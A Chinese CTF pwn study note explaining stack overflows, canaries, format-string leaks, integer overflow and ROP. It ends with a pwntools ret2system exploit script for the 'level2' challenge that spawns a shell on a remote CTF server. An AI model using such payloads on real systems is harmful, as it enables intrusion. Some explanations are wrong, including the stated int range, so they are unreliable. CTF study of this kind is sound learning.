算是总的开一篇文章,把学到的知识总结一下,之后会重复写到各个文章里面
参考公众号:豆豆咨询
(以下是为了方便理解的解释,与实际内容有偏差)
strcpy(A,B)将B字符串中的内容复制到A中
write(a,b,c),把a中的字符写入b,长度为c
read(a,b,c)同write 区别是返回值不同
strncmp(a,b,c) 比较a和b的前c个字符
gets()读取输入的字符,特点是读取没有上限,经常是漏洞点
memset(a,b,c)意为将a中的当前位置的往后的c个字节用b替换,可以翻译为清空
strlen(a)检测字符串a的长度,与read有点相似,但是区别是read遇到换行符\n也就是换行的时候停止,strlen遇到\0也就是截断的时候停止。
栈顶:esp
栈底:ebp
如何知道返回地址的地址:
返回地址的地址位于ebp,也就是栈底的地址加4个字节,假如ebp为0xFF99C968,那么返回地址就是0XFF99C96C
中间相差4(或者8个字节)个字节,同时要说一下地址的数字越大代表在栈堆中的位置越往下,所以你也可以理解为返回地址在栈底下面4(或者)个字节。
假设栈顶esp为0xFF99C944,栈底ebp为0XFF99C968
若想从栈顶输入一直到栈底溢出(不包括返回地址),请问需要输入多少字节字符?
那么应该将两者相减,得到0x28==2*16+8=40字节 如果覆盖地址的话需要多加多少个字符,答案是4个
因为我们可以看到0xFF99C944和0XF99C968是8个字符,如果是64位,应该是16个字符的长度
例如0x00007FFCB22FC5A0,这就是64位的栈地址,而这时候函数的返回地址就是栈底的地址加8,也就是0x00007FFCB22FC5F8
NX 堆栈不可执行
Stack Portector 栈保护
CANNARY(栈保护) 即是否在栈中插入了cookie(linux中称为canary
FORTIFY 防止缓冲区溢出攻击 不常见
NX(Windows平台上称其为DEP)即No-eXecute(不可执行)的意思,NX(DEP)的基本原理是将数据所在内存页标识为不可执行,当程序溢出成功转入shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。
PIE(ASLR)地址空间分布随机化
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
RELRO 设置符号重定向表格为只读或在程序启动时就解析并绑定所有动态符号,从而减少对GOT(Global Offset Table)攻击。RELRO为” Partial RELRO”,说明我们对GOT表具有写权限。
用来查询pwn题目的壳和保护,并且能够看到程序的信息
参考链接:https://blog.csdn.net/weixin_44540286/article/details/101629735?utm_source=distribute.pc_relevant.none-task
Canary保护
我们这里来讲一下什么叫Canary保护,
Canary保护主要是用来防护栈溢出的,在开启Canary保护程序调用函数的时候,会在栈中压入一个随机的Canary值,在函数结束的时候程序会判断Canary的值是否发生变动,如果发生变动就认为是程序遭到了攻击,程序就会直接异常退出。
我们拿攻防世界中的一题来做例子
CGfsb(未完成)
主要这个开启了canary,就不能直接利用栈溢出覆盖返回地址了
所以可以通过格式化字符串漏洞泄露canary的值,然后再进行栈溢出的覆盖
格式化字符串漏洞是因为printf的输出完全由用户控制
一个是通过%p(将参数以十六进制方式打印)来实现任意内存泄露
64位前六个参数位于寄存器,第多少个%p是目的内存则可以通过栈帧进行计算,八位(0x8)为一个%p
再就是通过%n(把输出字符的个数写入到地址中)来实现任意内存写入
栈溢出需要注意的则是由于开启了CANNARY,覆盖是需要注意把canary用原值覆盖
在使用输出功能时,例如使用printf()函数时
使用了如下的代码,
printf(&s),
当然这是种错误的写法
正确的写法是
printf("%s",s)
但是错误的写法可以运行么,答案是可以的。
先贴一下ctf手册里面的定义。
然后我们举个例子
这个题目翻译一下就是整数溢出的意思
在这里攻防世界内部自带的wp已经很完善了,所以我权当给自己做个笔记
我们在这里要先解释一下整数溢出的原理
假定一个整数,为int类型,我们要知道他的取值范围在0-65535之间
那么如果如果我们赋值给var1=0,var2=65536,那么在条件判断语句if(var1=var2)之下,他们两个是相等的,同理可得var1=1=var2=65537。
这题我们就根据这样的原理来作答。
算是比较基础了,gets函数不会限制输入的字符个数,所以会产生栈溢出漏洞
这里举个攻防世界的例子:
when_did_you_born
例如下图所示,我们就可以看到这个程序打开了NX保护和Canary 保护,同时知道了它是一个32位的程序
看见一个#!/bin/sh",这个#!/bin/sh"
在这里可以把#!/bin/sh"当成C 语言的main函数一样,写shell必须有
(反正你看到这个就可以找system命令,然后栈溢出去cat flag)
这里可以看到,程序开启了NX保护,一般这种情况下,我们必须找到system函数和”/bin/sh”字符串。
下面的介绍定义来自百度
ROP全称为Return-oriented Programming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
比较起来还是百度的介绍比较简单通透
与re2text的区别
ret2text即需要我们控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是gadgets),这就是我们所要说的rop。
就是re2text的概念要比ROP范围大一点。
老样子拿攻防世界的一道题目来举例子
level2
国际惯例先看看是几位文件然后看开了什么保护
这里可以看到,程序开启了NX保护,一般这种情况下,我们必须找到system函数和”/bin/sh”字符串。(只能先记住,再详细得慢慢拓展)
我们在这里可以看到
我们初始定义的buf只有0x88个空间(就是char buf这一行)
然而我们使用read 读取我们输入的内容时,大小缺选择了0x100,所以我们可以在这里利用栈溢出漏洞。
然后下面我们来看攻防世界点赞比较多的一个wp
from pwn import *
a = remote(‘111.198.29.45’,36253)
##system函数的地址
sysaddr = 0x08048320
##程序中/bin/sh字符串所在的地址
binshaddr = 0x0804A024
##0x88是程序中缓冲区的大小,4个大小是需要覆盖的ebp的地址,之后是
##函数的返回地址,被system的地址覆盖了,进入到system函数之后,
##需要构造system函数的栈帧,因为ebp+8是形参的地址,所以需要四个
##字节的填充p32(0),后面放的是system里面的参数的地址。这样子溢出
##之后就会获得shell
payload = ‘a’*0x88+‘b’*4+8+p32(sysaddr)+p32(0)+p32(binshaddr)
最后结果如图
a.send(payload)
a.interactive()
不过这个脚本在我自己这里试着执行的时候却报了语法错误,所以我改了一下payload:
payload=‘a’ *(0x88+0x04)+p32(sysaddr)+p32(0)+p32(binshaddr)